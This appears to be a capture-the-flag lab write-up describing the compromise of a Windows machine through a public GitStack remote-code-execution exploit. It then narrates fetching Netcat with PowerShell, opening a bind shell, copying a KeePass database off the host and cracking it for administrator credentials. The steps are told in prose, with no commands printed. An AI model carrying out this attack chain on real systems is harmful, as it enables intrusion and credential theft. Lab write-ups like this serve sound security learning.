csl-stack-nl

Great, we can see a lot going on here.We have a web server running Apache, SMB services, RDP, a couple additional web server looking applications running as well. Now that we know what we’re working with, we can move on to enumerating it.

I personally start from the top of my scans and work my way down, so naturally I started with the web server running on HTTP port 80.  Visiting the page returned a page not found error, however running a Gobuster scan against the address showed me a /web directory.  This proved fruitful.

Now that we found a directory, a quick check of it shows that the server is running the GitStack service.

When we enumerate a service it’s always important to research in to it more, especially if it isn’t something you’re familiar with.  This was incredibly useful, and provided the path we needed from here all the way to the finish.

Awesome! GitStack has several exploits possible, and while we could easily take the fast route to flags, we are going to take the manual method this time around.  Let’s explore this 43777.py exploit some more.  A Google search showed it listed on ExploitDB.

A quick check of the code for the exploit shows that it is extremely straight forward, and appears that simply changing the IP address is enough to get the ball rolling.  Also of note is the command variable, which is what the exploit suggests is the variable we can modify for remote code execution.

Since the exploit is located on our machine already, I simply copied it to my working directory for use.

Now that we have a possible exploit to use, we can get to work building out or vector. We change the IP address to the 172.31.1.12 target address, and for now leave the command to see what happens.

And to be honest, here is where my jaw dropped a bit. Non-verified exploits on ExploitDB are hit or miss, and this one hit big time.  We now know a user name, and can start digging deeper in to the system.  We first start by enumerating the working directory (please note that the nc.exe and exploit.php are from me, and were not available upon startup).

 Being as we are in a lab machine, we know that flags are typically kept in a user Desktop directory and Administrator Desktop directory.  Starting with the user John, we can manipulate the command in the exploit to show the contents of the Desktop directory, revealing the access.txt flag.

Next we can pull the contents of access.txt utilizing the “more” command.

Now that we have the user flag let’s get out of the RCE via Python exploit, and in to an actual command line. For those not well-versed in Powershell, it has a “wget” command that allows us to pull files from external web servers.  So we can spin up a Python Simple Server on our Kali machine, and write out a wget script using Powershell to pull a Netcat binary from Kali.

The 200 traffic in our web server shows that the Netcat executable was pulled successfully by our exploit.  From here on out, we will simplify things using the Netcat binary on Windows.  To confirm first, we run “dir” from the Python exploit to ensure the copy happened, which it did (as before, multiple nc.exe exploits are due to my experimentation, and were not there to begin with).

 netcat binary copy confirmation

Now that we have a Netcat binary in the working directory we can use it to get shell access the machine via bind shell (you can also do it via reverse shell).  I used nc14.exe as that is how I named it, however your naming convention will be different.  Running the listener on the Windows machine allowed me to connect directly via Netcat from Kali, giving me a stable command shell to the target.

 After poking around for a while I noticed that user John had a password_manager.kdbx file in his Documents directory (again, please note that the Netcat executables were placed by me during exploitation, and were not in place beforehand).

Let’s look in to the password_manager file.  This turns out to be a KeePass database extension.  Researching further showed that KeePass hashes can be cracked using John the Ripper.  So we have a vector, and need to get it back to our Kali machine for exploitation.  We can do this using Netcat, however we are currently using it to connect to our machine, and we cannot run it in multiple instances.  To bypass this, we can use the Powershell wget script to pull another copy to our current directory, and change the name of the output file.

We now have another available copy of the Netcat binary on our machine, and can use it to transfer the database file between our attack machine and the target Windows machine.  We do this by creating a Netcat listener on the Windows machine that sends the file to anyone connecting to the machine on that port.  We then connect to the target machine and port using our Kali machine, which transfers the file to our working directory.

Now that we have a copy of the KeePass database, we can attempt to harvest a hash from it.  We do this using KeePass2John.

 As we can see, we are able to successfully harvest the password hash for accessing KeePass.  Fortunately the database administrator uses a poor password, and we easily crack the hash using the Rockyou password list.

 Using the password we discovered, we can log in to the KeePass database, and easily harvest the credentials of both the Administrator and John users.